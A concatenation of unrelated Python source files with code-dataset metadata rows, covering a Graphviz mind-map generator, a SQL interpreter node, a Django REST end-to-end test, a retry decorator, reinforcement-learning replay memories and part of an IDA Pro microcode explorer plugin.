# self.dot.attr('graph', ratio='0.2')
# self.dot.attr('graph', K='100')
# self.dot.attr('graph', maxiter='100')
try:
# Try to set the center node text to a org file title comment
tree.root.heading = tree._special_comments["TITLE"][0]
except KeyError:
tree.root.heading = "MAP"
# Generate color gradient based on the depht of the org tree
max_depth = 1
for child in tree:
max_depth = max(max_depth, child.level + 1)
self.colors = list(self.base_color.range_to(colour.Color("white"), max_depth))
self._process_node(tree.root)
# TODO: Add option to split on highest level into files
# TODO: Cannot take stream
self.dot.render(stream.name)
def _process_node(self, tree_node):
"""Create a map node from tree node and proccess its children."""
# TODO(mato): What to do with a node body
# First construct the current node
# if tree_node.level == 0:
# self.dot.node(self._create_id(tree_node), tree_node.heading, shape='star', color='black')
# elif tree_node.level == 1:
# self.dot.node(self._create_id(tree_node), tree_node.heading, shape='doublecircle')
# else:
# if tree_node.level == 0:
# self.dot.attr('node', shape='diamond', style='filled', color='lightgray')
# else:
# self.dot.attr('node', shape='ellipse', color='black')
# height: 0.5
# width: 0.75
scale = 0.80 ** tree_node.level
height = str(1 * scale)
width = str(2 * scale)
self.dot.attr(
"node",
height=height,
width=width,
style="filled",
fillcolor=self.colors[tree_node.level].get_hex_l(),
)
self.dot.node(self._create_id(tree_node), tree_node.heading)
# If node has a parrent, create a link to it
if tree_node.parent is not None:
self.dot.edge(
self._create_id(tree_node.parent), self._create_id(tree_node)
) # , constraint='false')
# Process all children of this node
for c in tree_node.children:
if not self.ignore_tags.intersection(c.tags):
self._process_node(c)
def _create_id(self, node):
"""Hash the node to create identifier to reference nodes."""
# TODO: We should double escape the '\' characters
try:
return (
self._normalize_heading(node.parent.heading)
+ "%"
+ str(node.level)
+ "%"
+ self._normalize_heading(node.heading)
)
except AttributeError:
return str(node.level) + "%" + self._normalize_heading(node.heading)
def _normalize_heading(self, heading):
"""Normalize heading for dot format. Essentialy remove all ':' from headings."""
return heading.replace(":", "")
def get_ext(self):
# Graphviz automatically appends the '.pdf'
# And we don't want to colide with `pdf` command so prepend the '-map'
# This results in: "<filename>-map.pdf"
return "-map"
| 38.818966 | 103 | 0.578281 | 4,416 | 0.98068 | 0 | 0 | 0 | 0 | 0 | 0 | 1,939 | 0.430602 |
342071a537bef9145222cc0990c688ce4c107e88 | 1,425 | py | Python | parser/team17/Interprete/TYPE/type.py | webdev188/tytus | 847071edb17b218f51bb969d335a8ec093d13f94 | [
"MIT"
] | 35 | 2020-12-07T03:11:43.000Z | 2021-04-15T17:38:16.000Z | parser/team17/Interprete/TYPE/type.py | webdev188/tytus | 847071edb17b218f51bb969d335a8ec093d13f94 | [
"MIT"
] | 47 | 2020-12-09T01:29:09.000Z | 2021-01-13T05:37:50.000Z | parser/team17/Interprete/TYPE/type.py | webdev188/tytus | 847071edb17b218f51bb969d335a8ec093d13f94 | [
"MIT"
] | 556 | 2020-12-07T03:13:31.000Z | 2021-06-17T17:41:10.000Z | from Interprete.NodoAST import NodoArbol
from Interprete.Tabla_de_simbolos import Tabla_de_simbolos
from Interprete.Arbol import Arbol
from Interprete.Valor.Valor import Valor
from Interprete.Primitivos.TIPO import TIPO
from Interprete.SELECT.indexador_auxiliar import indexador_auxiliar
from Interprete.SELECT.indexador_auxiliar import IAT
from Interprete.simbolo import Simbolo
from Interprete.Manejo_errores.ReporteTS import ReporteTS
class type(NodoArbol):
def __init__(self, indentificador, ListaTipos, line, coliumn):
super().__init__(line, coliumn)
self.indentificador = indentificador
self.ListaTipos = ListaTipos
def execute(self, entorno: Tabla_de_simbolos, arbol: Arbol):
indentificador = self.indentificador
value:Valor = Valor(TIPO.LISTA, indentificador)
lista = []
for i in self.ListaTipos:
val:Valor = i.execute(entorno, arbol)
value.insert_tipo_toType(str(val.data))
lista.append(str(val.data))
simbol:Simbolo = Simbolo(indentificador, TIPO.LISTA, value)
entorno.insertar_variable(simbol)
arbol.console.append("\n" + "Type: " + indentificador + " --> Valores: "+ str(lista) + "\n")
TS:ReporteTS = ReporteTS(
indentificador,
"type",
"Global",
self.linea, self.columna
)
arbol.ReporteTS.append(TS)
return | 39.583333 | 100 | 0.690526 | 986 | 0.69193 | 0 | 0 | 0 | 0 | 0 | 0 | 46 | 0.032281 |
34210500bd30a4f38c9990538692f030d9f6352e | 57 | py | Python | card_detection_module/nanodet/__init__.py | nhatnxn/ID_Passport-OCR | 78322ec2b9648d0b027326dced7c4aec967bcab3 | [
"MIT"
] | 1 | 2021-06-30T11:01:25.000Z | 2021-06-30T11:01:25.000Z | card_detection_module/nanodet/__init__.py | nhatnxn/ID_Passport-OCR | 78322ec2b9648d0b027326dced7c4aec967bcab3 | [
"MIT"
] | null | null | null | card_detection_module/nanodet/__init__.py | nhatnxn/ID_Passport-OCR | 78322ec2b9648d0b027326dced7c4aec967bcab3 | [
"MIT"
] | null | null | null | from .dectect import detect_card
__all__ = [detect_card] | 19 | 32 | 0.807018 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
34224d1f82264345af1dc7ef7fc2a3a6d78538a4 | 6,670 | py | Python | backend/risks/tests/e2e/test_e2e.py | andrew-snek/project-x | d6eca21690dd210f29c571660a2762732f0ede6e | [
"MIT"
] | null | null | null | backend/risks/tests/e2e/test_e2e.py | andrew-snek/project-x | d6eca21690dd210f29c571660a2762732f0ede6e | [
"MIT"
] | 4 | 2019-01-28T19:22:21.000Z | 2022-02-27T10:29:21.000Z | backend/risks/tests/e2e/test_e2e.py | andrew-snek/project-x | d6eca21690dd210f29c571660a2762732f0ede6e | [
"MIT"
] | null | null | null | from unittest.mock import patch # mocker.patch can't be a context manager
from django.contrib.auth import get_user_model
from django.db import DatabaseError
from rest_framework.test import APIClient
def test_e2e(transactional_db, field_type_data, abstract_risk_data, risk_data):
client = APIClient()
# Helpers for testing
def get(url, correct_result):
response = client.get(url)
assert response.status_code == 200
assert response.data == correct_result
def post(url, payload, status=201, err=None):
response = client.post(url, payload, format='json')
assert response.status_code == status
if err: # Either we got errors in expected fields...
assert [k for k in response.data.keys()] == err
else: # or we succesfully created a new thing
payload['id'] = response.data['id']
assert response.data == payload
return response
def delete(url, status=204, err=None):
response = client.delete(url)
assert response.status_code == status
if err:
assert [k for k in response.data.keys()] == err
# Login
admin = get_user_model().objects.create(
username='admin', is_staff=True, is_superuser=True
)
admin.set_password('admin')
admin.save()
pair = client.post('http://localhost/api/v1/obtain-token/', {
'username': 'admin',
'password': 'admin'
}).data
client.credentials(HTTP_AUTHORIZATION='Bearer {0}'.format(pair['access']))
# Test FieldType
fieldtypes_url = 'http://localhost/api/v1/fieldtypes/'
url = fieldtypes_url
get(url, []) # No FieldTypes at first
# Create first FieldType
post(url, field_type_data[0])
get(url, [field_type_data[0]])
# Create second FieldType
post(url, field_type_data[1])
get(url, [field_type_data[0], field_type_data[1]])
# An error, if posting nonsense
post(url, 'nonsense', status=400, err=['non_field_errors'])
get(url, [field_type_data[0], field_type_data[1]])
# An error, if posting a FieldType with existing name
post(url, field_type_data[1], status=400, err=['name'])
get(url, [field_type_data[0], field_type_data[1]])
# An error, if one field is empty
for field in field_type_data[2].keys():
post(url, {**field_type_data[2], field: ''}, status=400, err=[field])
get(url, [field_type_data[0], field_type_data[1]])
# An error, if widget_type is wrong
field_type_data[2]['widget_type'] = 'WRONG OPTION'
post(url, field_type_data[2], status=400, err=['widget_type'])
# Test AbstractRisk
abstractrisks_url = 'http://localhost/api/v1/abstractrisks/'
url = abstractrisks_url
get(url, []) # No AbstractRisks at first
# Create first AbstractRisk
post(url, abstract_risk_data[0])
get(url, [abstract_risk_data[0]])
# Create second AbstractRisk. This one with two abstract fields.
post(url, abstract_risk_data[1])
get(url, [abstract_risk_data[0], abstract_risk_data[1]])
# An error, if posting nonsense
post(url, 'nonsense', status=400, err=['non_field_errors'])
# An error if posting an AbstractRisk with already existing name
post(url, abstract_risk_data[1], status=400, err=['name'])
get(url, [abstract_risk_data[0], abstract_risk_data[1]])
# An error if trying to post an empty field
for field in abstract_risk_data[2].keys():
post(
url,
{**abstract_risk_data[2], field: ''},
status=400,
err=[field]
)
get(url, [abstract_risk_data[0], abstract_risk_data[1]])
# No changes if error during transaction
with patch(
'risks.serializers.AbstractField.objects.bulk_create'
) as patched_bulk_create:
patched_bulk_create.side_effect = DatabaseError('test db error')
try:
post(url, abstract_risk_data[2])
except DatabaseError as e:
assert 'test db error' in e.args
get(url, [abstract_risk_data[0], abstract_risk_data[1]])
# An error if posting an AbstractRisk with wrong FieldType id's
abstract_risk_data[2]['abstract_fields'][0]['field_type'] = 'WRONG'
post(url, abstract_risk_data[2], status=400, err=['abstract_fields'])
# Test Risk
risks_url = 'http://localhost/api/v1/risks/'
url = risks_url
get(url, []) # No Risks at first
# Create first Risk
post(url, risk_data[0])
get(url, [risk_data[0]])
# Create a second Risk, of a different AbstractRisk, with 2 Fields
post(url, risk_data[1])
get(url, [risk_data[0], risk_data[1]])
# An error, if posting nonsense
post(url, 'nonsense', status=400, err=['non_field_errors'])
# An error, if posting a Risk with existing name
post(url, risk_data[1], status=400, err=['name'])
get(url, [risk_data[0], risk_data[1]])
# An error, if posting an empty field
for field in risk_data[2].keys():
post(url, {**risk_data[2], field: ''}, status=400, err=[field])
get(url, [risk_data[0], risk_data[1]])
# No changes if error during transaction
with patch(
'risks.serializers.Field.objects.bulk_create'
) as patched_bulk_create:
patched_bulk_create.side_effect = DatabaseError('test db error')
try:
post(url, risk_data[2])
except DatabaseError as e:
assert 'test db error' in e.args
get(url, [risk_data[0], risk_data[1]])
# An error, if Fields' values are not matched by FieldTypes' regexes
risk_data[2]['fields'][0]['value'] = 'NOTJUSTTHIS'
risk_data[2]['fields'][1]['value'] = 'XYZ'
resp = post(url, risk_data[2], status=400, err=['fields'])
assert [k for k in resp.data['fields'].keys()] == [0, 1]
get(url, [risk_data[0], risk_data[1]])
# Can't delete AbstractRisk if in use
res = client.delete(abstractrisks_url+'1')
assert res.status_code == 409
assert res.data['detail'].code == 'cannot_delete_already_in_use'
get(abstractrisks_url, [abstract_risk_data[0], abstract_risk_data[1]])
# Can delete Risk
res = client.delete(risks_url+'1')
assert res.status_code == 204
get(risks_url, [risk_data[1]])
# Can't delete FieldType if in use
res = client.delete(fieldtypes_url+'1')
assert res.status_code == 409
assert res.data['detail'].code == 'cannot_delete_already_in_use'
get(fieldtypes_url, [field_type_data[0], field_type_data[1]])
# Can delete AbstractRisk, which is now not in use
res = client.delete(abstractrisks_url+'1')
assert res.status_code == 204
get(abstractrisks_url, [abstract_risk_data[1]])
| 35.668449 | 79 | 0.654723 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,989 | 0.298201 |
34230bb190f961ca6511eb9a402ec6fece3611e2 | 967 | py | Python | src/wl/resources/config.py | AlphaTechnolog/wl | 09a8f883f397ba7aae80c06f61fedd1887975d3f | [
"MIT"
] | 6 | 2021-07-13T16:34:45.000Z | 2022-03-02T17:34:39.000Z | src/wl/resources/config.py | AlphaTechnolog/wl | 09a8f883f397ba7aae80c06f61fedd1887975d3f | [
"MIT"
] | null | null | null | src/wl/resources/config.py | AlphaTechnolog/wl | 09a8f883f397ba7aae80c06f61fedd1887975d3f | [
"MIT"
] | null | null | null | import json
from typing import Dict, TypeVar
from ..paths import config_dir_path, config_path
from ..cli.log import warn
V = TypeVar("V")
class Config:
def __init__(self):
self.options = [
'wallpapers_folder'
]
def check(self, create: bool=False):
if not config_dir_path.is_dir():
warn(f'Config dir path: {config_dir_path} not found')
if create:
config_dir_path.mkdir()
if not config_path.is_file():
warn(f'Config file path: {config_path} not found')
if create:
config_path.touch()
self.dump({})
def parse(self) -> Dict[str, V]:
with open(config_path, 'r') as config:
return json.load(config)
def dump(self, new_dict: Dict[str, V]) -> Dict[str, V]:
with open(config_path, 'w') as config:
json.dump(new_dict, config)
return self.parse()
config = Config()
| 25.447368 | 65 | 0.574974 | 805 | 0.832472 | 0 | 0 | 0 | 0 | 0 | 0 | 119 | 0.123061 |
342550a8d2655bb5c2a4e7cac561e8c51b2a3642 | 1,501 | py | Python | ferris/core/retries.py | palladius/gae-ferris-ricc | e6d9d8d4aadeae10eb258b94b6fe5912c8630b36 | [
"MIT"
] | 2 | 2015-03-04T07:05:57.000Z | 2015-03-04T07:06:00.000Z | ferris/core/retries.py | palladius/gae-ferris-ricc | e6d9d8d4aadeae10eb258b94b6fe5912c8630b36 | [
"MIT"
] | null | null | null | ferris/core/retries.py | palladius/gae-ferris-ricc | e6d9d8d4aadeae10eb258b94b6fe5912c8630b36 | [
"MIT"
] | null | null | null | import functools
from time import sleep
import logging
def retries(max_tries, should_retry, delay=1, backoff=2):
"""
Decorator that implements exponential backoff retry logic. If you have
a function that may fail, this decorator can catch the exception and retry at
exponentially increasing intervals until the number of retries is exhausted.
The should_retry parameter should be a function that takes and exception as an argument
and returns True if the function should be retried or False to permanently fail.
This is extremely useful when working with external APIs. There is a shortcut
decorator for working with Google APIs, see :func:`google_api_retries`.
"""
def dec(func):
functools.wraps(func)
def f2(*args, **kwargs):
seconds = delay
tries = range(max_tries)
tries.reverse()
for tries_remaining in tries:
try:
return func(*args, **kwargs)
except Exception as e:
logging.info("Caught %s with %s retries left" % (e, tries_remaining))
if tries_remaining > 0 and should_retry(e):
logging.info("Exception raised, retrying in %s seconds" % seconds)
sleep(seconds)
seconds *= backoff
else:
raise e
else:
break
return f2
return dec
| 35.738095 | 91 | 0.59427 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 660 | 0.439707 |
342669c2915f85e4da4b92522593ef57d34232b4 | 5,614 | py | Python | memory.py | wotmd5731/pytorch_dqn | fb3062c3aff1e5e249551807e53e974363f7595c | [
"MIT"
] | 11 | 2018-04-22T16:03:17.000Z | 2021-09-02T09:10:04.000Z | memory.py | wotmd5731/pytorch_dqn | fb3062c3aff1e5e249551807e53e974363f7595c | [
"MIT"
] | null | null | null | memory.py | wotmd5731/pytorch_dqn | fb3062c3aff1e5e249551807e53e974363f7595c | [
"MIT"
] | 1 | 2021-04-06T12:12:19.000Z | 2021-04-06T12:12:19.000Z | # -*- coding: utf-8 -*-
import random
from collections import namedtuple
import torch
from torch.autograd import Variable
import numpy as np
class SumTree:
write = 0
def __init__(self, capacity):
self.capacity = capacity
self.tree = numpy.zeros( 2*capacity - 1 )
self.data = numpy.zeros( capacity, dtype=object )
def _propagate(self, idx, change):
parent = (idx - 1) // 2
self.tree[parent] += change
if parent != 0:
self._propagate(parent, change)
def _retrieve(self, idx, s):
left = 2 * idx + 1
right = left + 1
if left >= len(self.tree):
return idx
if s <= self.tree[left]:
return self._retrieve(left, s)
else:
return self._retrieve(right, s-self.tree[left])
def total(self):
return self.tree[0]
def add(self, p, data):
idx = self.write + self.capacity - 1
self.data[self.write] = data
self.update(idx, p)
self.write += 1
if self.write >= self.capacity:
self.write = 0
def update(self, idx, p):
change = p - self.tree[idx]
self.tree[idx] = p
self._propagate(idx, change)
def get(self, s):
idx = self._retrieve(0, s)
dataIdx = idx - self.capacity + 1
return (idx, self.tree[idx], self.data[dataIdx])
class PER_Memory: # stored as ( s, a, r, s_ ) in SumTree
e = 0.01
a = 0.6
def __init__(self, capacity):
self.tree = SumTree(capacity)
def _getPriority(self, error):
return (error + self.e) ** self.a
def push(self, error, sample):
p = self._getPriority(error)
self.tree.add(p, sample)
def sample(self, n):
batch_idx = []
batch = []
segment = self.tree.total() / n
for i in range(n):
a = segment * i
b = segment * (i + 1)
s = random.uniform(a, b)
(idx, p, data) = self.tree.get(s)
batch.append( data)
batch_idx.append(idx)
return batch , batch_idx
def update(self, idx, error):
p = self._getPriority(error)
self.tree.update(idx, p)
class ReplayMemory(object):
def __init__(self, args):
self.capacity = args.memory_capacity
self.memory = []
def push(self, args):
if len(self.memory) > self.capacity:
#overflow mem cap pop the first element
self.memory.pop(0)
self.memory.append(args)
def sample(self, batch_size):
return random.sample(self.memory, batch_size)
def __len__(self):
return len(self.memory)
class episodic_experience_buffer():
def __init__(self, buffer_size = 1000):
self.buffer = []
self.buffer_size = buffer_size
# 더할 때 버퍼사이즈를 넘으면, 앞에서부터 지우고 다시 넣는다.
def add(self,experience):
if len(self.buffer) + 1 >= self.buffer_size:
self.buffer[0:(1+len(self.buffer))-self.buffer_size] = []
self.buffer.append(experience)
def sample(self,batch_size,trace_length):
sampled_episodes = random.sample(self.buffer,batch_size)
sampledTraces = []
# 이전과 다른 부분, 샘플로 뽑힌 에피소드에서 지정된 크기만큼의 걸음(프레임)을 붙여서 가져온다.
for episode in sampled_episodes:
point = np.random.randint(0,len(episode)+1-trace_length)
sampledTraces.append(episode[point:point+trace_length])
sampledTraces = np.array(sampledTraces)
return np.reshape(sampledTraces,[trace_length,batch_size,11])
#class LSTM_ReplayMemory(object):
# def __init__(self, args):
# self.capacity = args.memory_capacity
# self.memory = []
#
# def push(self, args):
# if len(self.memory) > self.capacity:
# #overflow mem cap pop the first element
# self.memory.pop(0)
# self.memory.append(args)
#
# def sample(self,batch,trace):
#
## for episode in sampled_episodes:
## point = np.random.randint(0,len(episode)+1-trace_length)
## sampledTraces.append(episode[point:point+trace_length])
## sampledTraces = np.array(sampledTraces)
## return np.reshape(sampledTraces,[batch_size*trace_length,5])
#
# sss=[]
# aaa=[]
# rrr=[]
# sss_=[]
# ddd=[]
#
# for bb in range(batch):
# # seq_len(timestamp), batch, input_size
# num = random.randint(0,len(self.memory)-1-trace)
# ss=[]
# aa=[]
# rr=[]
# ss_=[]
# dd=[]
# t = 0
# while t<trace: #
# ss.append(self.memory[num+t][0].reshape(1,1,4))
# aa.append(numpy.array(self.memory[num+t][1]).reshape(1,1,1))
# rr.append(numpy.array(self.memory[num+t][2]).reshape(1,1,1))
# ss_.append(self.memory[num+t][3].reshape(1,1,4))
# dd.append(numpy.array(self.memory[num+t][4]).reshape(1,1,1).astype('int'))
# t += 1
# sss.append(numpy.vstack(ss))
# aaa.append(numpy.vstack(aa))
# rrr.append(numpy.vstack(rr))
# sss_.append(numpy.vstack(ss_))
# ddd.append(numpy.vstack(dd))
#
#
#
# sss = numpy.hstack(sss)
# aaa = numpy.hstack(aaa)
# rrr = numpy.hstack(rrr)
# sss_ = numpy.hstack(sss_)
# ddd = numpy.hstack(ddd)
#
# return [sss,aaa,rrr,sss_,ddd]
#
#
#
#
# def __len__(self):
# return len(self.memory)
| 26.861244 | 91 | 0.54756 | 3,559 | 0.619819 | 0 | 0 | 0 | 0 | 0 | 0 | 2,272 | 0.395681 |
3429a3e461da531be0fa698d0309fa50ab924089 | 25,866 | py | Python | plugins/lucid/ui/explorer.py | gaasedelen/lucid | 9f2480dc8e6bbb9421b5711533b0a98d2e9fb5af | [
"MIT"
] | 342 | 2020-09-11T16:03:31.000Z | 2022-03-31T02:46:31.000Z | plugins/lucid/ui/explorer.py | gaasedelen/lucid | 9f2480dc8e6bbb9421b5711533b0a98d2e9fb5af | [
"MIT"
] | 3 | 2021-01-16T16:59:41.000Z | 2022-01-19T07:18:17.000Z | plugins/lucid/ui/explorer.py | gaasedelen/lucid | 9f2480dc8e6bbb9421b5711533b0a98d2e9fb5af | [
"MIT"
] | 37 | 2020-09-12T17:07:29.000Z | 2022-03-15T15:17:05.000Z | import ctypes
import ida_ida
import ida_funcs
import ida_graph
import ida_idaapi
import ida_kernwin
import ida_hexrays
from PyQt5 import QtWidgets, QtGui, QtCore, sip
from lucid.ui.sync import MicroCursorHighlight
from lucid.ui.subtree import MicroSubtreeView
from lucid.util.python import register_callback, notify_callback
from lucid.util.hexrays import get_microcode, get_mmat, get_mmat_name, get_mmat_levels
from lucid.microtext import MicrocodeText, MicroInstructionToken, MicroOperandToken, AddressToken, BlockNumberToken, translate_mtext_position, remap_mtext_position
#------------------------------------------------------------------------------
# Microcode Explorer
#------------------------------------------------------------------------------
#
# The Microcode Explorer UI is mostly implemented following a standard
# Model-View-Controller pattern. This is a little abnormal for Qt, but
# I've come to appreciate it more for its portability and testability.
#
class MicrocodeExplorer(object):
"""
The controller component of the microcode explorer.
The role of the controller is to handle user gestures, map user actions to
model updates, and change views based on controls. In theory, the
controller should be able to drive the 'view' headlessly or simulate user
UI interaction.
"""
def __init__(self):
self.model = MicrocodeExplorerModel()
self.view = MicrocodeExplorerView(self, self.model)
self.view._code_sync.enable_sync(True) # XXX/HACK
def show(self, address=None):
"""
Show the microcode explorer.
"""
if address is None:
address = ida_kernwin.get_screen_ea()
self.select_function(address)
self.view.show()
def show_subtree(self, insn_token):
"""
Show the sub-instruction graph for the given instruction token.
"""
graph = MicroSubtreeView(insn_token.insn)
graph.show()
# TODO/HACK: this is dumb, but moving it breaks my centering code so
# i'll figure it out later...
gv = ida_graph.get_graph_viewer(graph.GetWidget())
ida_graph.viewer_set_titlebar_height(gv, 15)
#-------------------------------------------------------------------------
# View Toggles
#-------------------------------------------------------------------------
def set_highlight_mutual(self, status):
"""
Toggle the highlighting of lines containing the same active address.
"""
if status:
self.view._code_sync.hook()
else:
self.view._code_sync.unhook()
ida_kernwin.refresh_idaview_anyway()
def set_verbose(self, status):
"""
Toggle the verbosity of the printed microcode text.
"""
self.model.verbose = status
ida_kernwin.refresh_idaview_anyway()
#-------------------------------------------------------------------------
# View Controls
#-------------------------------------------------------------------------
def select_function(self, address):
"""
Switch the microcode view to the specified function.
"""
func = ida_funcs.get_func(address)
if not func:
return False
for maturity in get_mmat_levels():
mba = get_microcode(func, maturity)
mtext = MicrocodeText(mba, self.model.verbose)
self.model.update_mtext(mtext, maturity)
self.view.refresh()
ida_kernwin.refresh_idaview_anyway()
return True
def select_maturity(self, maturity_name):
"""
Switch the microcode view to the specified maturity level.
"""
self.model.active_maturity = get_mmat(maturity_name)
#self.view.refresh()
def select_address(self, address):
"""
Select a token in the microcode view matching the given address.
"""
tokens = self.model.mtext.get_tokens_for_address(address)
if not tokens:
return None
token_line_num, token_x = self.model.mtext.get_pos_of_token(tokens[0])
rel_y = self.model.current_position[2]
if self.model.current_position[2] == 0:
rel_y = 30
self.model.current_position = (token_line_num, token_x, rel_y)
return tokens[0]
def select_position(self, line_num, x, y):
"""
Select the given text position in the microcode view.
"""
self.model.current_position = (line_num, x, y)
#print(" - hovered token: %s" % self.model.current_token.text)
#print(" - hovered taddr: 0x%08X" % self.model.current_token.address)
#print(" - hovered laddr: 0x%08X" % self.model.current_address)
def activate_position(self, line_num, x, y):
"""
Activate (eg. double click) the given text position in the microcode view.
"""
token = self.model.mtext.get_token_at_position(line_num, x)
if isinstance(token, AddressToken):
ida_kernwin.jumpto(token.target_address, -1, 0)
return
if isinstance(token, BlockNumberToken) or (isinstance(token, MicroOperandToken) and token.mop.t == ida_hexrays.mop_b):
blk_idx = token.blk_idx if isinstance(token, BlockNumberToken) else token.mop.b
blk_token = self.model.mtext.blks[blk_idx]
blk_line_num, _ = self.model.mtext.get_pos_of_token(blk_token.lines[0])
self.model.current_position = (blk_line_num, 0, y)
self.view._code_view.Jump(*self.model.current_position)
return
class MicrocodeExplorerModel(object):
"""
The model component of the microcode explorer.
The role of the model is to encapsulate application state, respond to
state queries, and notify views of changes. Ideally, the model could be
serialized / unserialized to save and restore state.
"""
def __init__(self):
#
# 'mtext' is short for MicrocodeText objects (see microtext.py)
#
# this dictionary will contain a mtext object (the renderable text
# mapping of a given hexrays mba_t) for each microcode maturity level
# of the current function.
#
# at any given time, one mtext will be 'active' in the model, and
# therefore visible in the UI/Views
#
self._mtext = {x: None for x in get_mmat_levels()}
#
# there is a 'cursor' (ViewCursor) for each microcode maturity level /
# mtext object. cursors don't actually contain the 'position' in the
# rendered text (line_num, x), but also information to position the
# cursor within the line view (y)
#
self._view_cursors = {x: None for x in get_mmat_levels()}
#
# the currently active / selected maturity level of the model. this
# determines which mtext is currently visible / active in the
# microcode view, and which cursor will be used
#
self._active_maturity = ida_hexrays.MMAT_GENERATED
# this flag tracks the verbosity toggle state
self._verbose = False
#----------------------------------------------------------------------
# Callbacks
#----------------------------------------------------------------------
self._mtext_refreshed_callbacks = []
self._position_changed_callbacks = []
self._maturity_changed_callbacks = []
#-------------------------------------------------------------------------
# Read-Only Properties
#-------------------------------------------------------------------------
@property
def mtext(self):
"""
Return the microcode text mapping for the current maturity level.
"""
return self._mtext[self._active_maturity]
@property
def current_line(self):
"""
Return the line token at the current viewport cursor position.
"""
if not self.mtext:
return None
line_num, _, _ = self.current_position
return self.mtext.lines[line_num]
@property
def current_function(self):
"""
Return the current function address.
"""
if not self.mtext:
return ida_idaapi.BADADDR
return self.mtext.mba.entry_ea
@property
def current_token(self):
"""
Return the token at the current viewport cursor position.
"""
return self.mtext.get_token_at_position(*self.current_position[:2])
@property
def current_address(self):
"""
Return the address at the current viewport cursor position.
"""
return self.mtext.get_address_at_position(*self.current_position[:2])
@property
def current_cursor(self):
"""
Return the current viewport cursor.
"""
return self._view_cursors[self._active_maturity]
#-------------------------------------------------------------------------
# Mutable Properties
#-------------------------------------------------------------------------
@property
def current_position(self):
"""
Return the current viewport cursor position (line_num, view_x, view_y).
"""
return self.current_cursor.viewport_position
@current_position.setter
def current_position(self, value):
"""
Set the cursor position of the viewport.
"""
self._gen_cursors(value, self.active_maturity)
self._notify_position_changed()
@property
def verbose(self):
"""
Return the microcode verbosity status of the viewport.
"""
return self._verbose
@verbose.setter
def verbose(self, value):
"""
Set the verbosity of the microcode displayed by the viewport.
"""
if self._verbose == value:
return
# update the active verbosity setting
self._verbose = value
# verbosity must have changed, so force a mtext refresh
self.refresh_mtext()
@property
def active_maturity(self):
"""
Return the active microcode maturity level.
"""
return self._active_maturity
@active_maturity.setter
def active_maturity(self, new_maturity):
"""
Set the active microcode maturity level.
"""
self._active_maturity = new_maturity
self._notify_maturity_changed()
#----------------------------------------------------------------------
# Misc
#----------------------------------------------------------------------
def update_mtext(self, mtext, maturity):
"""
Set the mtext for a given microcode maturity level.
"""
self._mtext[maturity] = mtext
self._view_cursors[maturity] = ViewCursor(0, 0, 0)
def refresh_mtext(self):
"""
Regenerate the rendered text for all microcode maturity levels.
TODO: This is a bit sloppy, and is basically only used for the
verbosity toggle.
"""
for maturity, mtext in self._mtext.items():
if maturity == self.active_maturity:
new_mtext = MicrocodeText(mtext.mba, self.verbose)
self._mtext[maturity] = new_mtext
self.current_position = translate_mtext_position(self.current_position, mtext, new_mtext)
continue
mtext.refresh(self.verbose)
self._notify_mtext_refreshed()
def _gen_cursors(self, position, mmat_src):
"""
Generate the cursors for all levels from a source position and maturity.
"""
mmat_levels = get_mmat_levels()
mmat_first, mmat_final = mmat_levels[0], mmat_levels[-1]
# clear out all the existing cursor mappings
self._view_cursors = {x: None for x in mmat_levels}
# save the starting cursor
line_num, x, y = position
self._view_cursors[mmat_src] = ViewCursor(line_num, x, y, True)
# map the cursor backwards from the source maturity
mmat_lower = range(mmat_first, mmat_src)[::-1]
current_maturity = mmat_src
for next_maturity in mmat_lower:
self._transfer_cursor(current_maturity, next_maturity)
current_maturity = next_maturity
# map the cursor forward from the source maturity
mmat_higher = range(mmat_src+1, mmat_final + 1)
current_maturity = mmat_src
for next_maturity in mmat_higher:
self._transfer_cursor(current_maturity, next_maturity)
current_maturity = next_maturity
def _transfer_cursor(self, mmat_src, mmat_dst):
"""
Translate the cursor position from one maturity to the next.
"""
position = self._view_cursors[mmat_src].viewport_position
mapped = self._view_cursors[mmat_src].mapped
# attempt to translate the position in one mtext to another
projection = translate_mtext_position(position, self._mtext[mmat_src], self._mtext[mmat_dst])
# if translation failed, we will generate an approximate cursor
if not projection:
mapped = False
projection = remap_mtext_position(position, self._mtext[mmat_src], self._mtext[mmat_dst])
# save the generated cursor
line_num, x, y = projection
self._view_cursors[mmat_dst] = ViewCursor(line_num, x, y, mapped)
#----------------------------------------------------------------------
# Callbacks
#----------------------------------------------------------------------
def mtext_refreshed(self, callback):
"""
Subscribe a callback for mtext refresh events.
"""
register_callback(self._mtext_refreshed_callbacks, callback)
def _notify_mtext_refreshed(self):
"""
Notify listeners of a mtext refresh event.
"""
notify_callback(self._mtext_refreshed_callbacks)
def position_changed(self, callback):
"""
Subscribe a callback for cursor position changed events.
"""
register_callback(self._position_changed_callbacks, callback)
def _notify_position_changed(self):
"""
Notify listeners of a cursor position changed event.
"""
notify_callback(self._position_changed_callbacks)
def maturity_changed(self, callback):
"""
Subscribe a callback for maturity changed events.
"""
register_callback(self._maturity_changed_callbacks, callback)
def _notify_maturity_changed(self):
"""
Notify listeners of a maturity changed event.
"""
notify_callback(self._maturity_changed_callbacks)
#-----------------------------------------------------------------------------
# UI Components
#-----------------------------------------------------------------------------
class MicrocodeExplorerView(QtWidgets.QWidget):
"""
The view component of the Microcode Explorer.
"""
WINDOW_TITLE = "Microcode Explorer"
def __init__(self, controller, model):
super(MicrocodeExplorerView, self).__init__()
self.visible = False
# the backing model, and controller for this view (eg, mvc pattern)
self.model = model
self.controller = controller
# initialize the plugin UI
self._ui_init()
self._ui_init_signals()
#--------------------------------------------------------------------------
# Pseudo Widget Functions
#--------------------------------------------------------------------------
def show(self):
self.refresh()
# show the dockable widget
flags = ida_kernwin.PluginForm.WOPN_DP_RIGHT | 0x200 # WOPN_SZHINT
ida_kernwin.display_widget(self._twidget, flags)
ida_kernwin.set_dock_pos(self.WINDOW_TITLE, "IDATopLevelDockArea", ida_kernwin.DP_RIGHT)
self._code_sync.hook()
def _cleanup(self):
self.visible = False
self._twidget = None
self.widget = None
self._code_sync.unhook()
self._ui_hooks.unhook()
# TODO cleanup controller / model
#--------------------------------------------------------------------------
# Initialization - UI
#--------------------------------------------------------------------------
def _ui_init(self):
"""
Initialize UI elements.
"""
self._ui_init_widget()
# initialize our ui elements
self._ui_init_list()
self._ui_init_code()
self._ui_init_settings()
# layout the populated ui just before showing it
self._ui_layout()
def _ui_init_widget(self):
"""
Initialize an IDA widget for this UI control.
"""
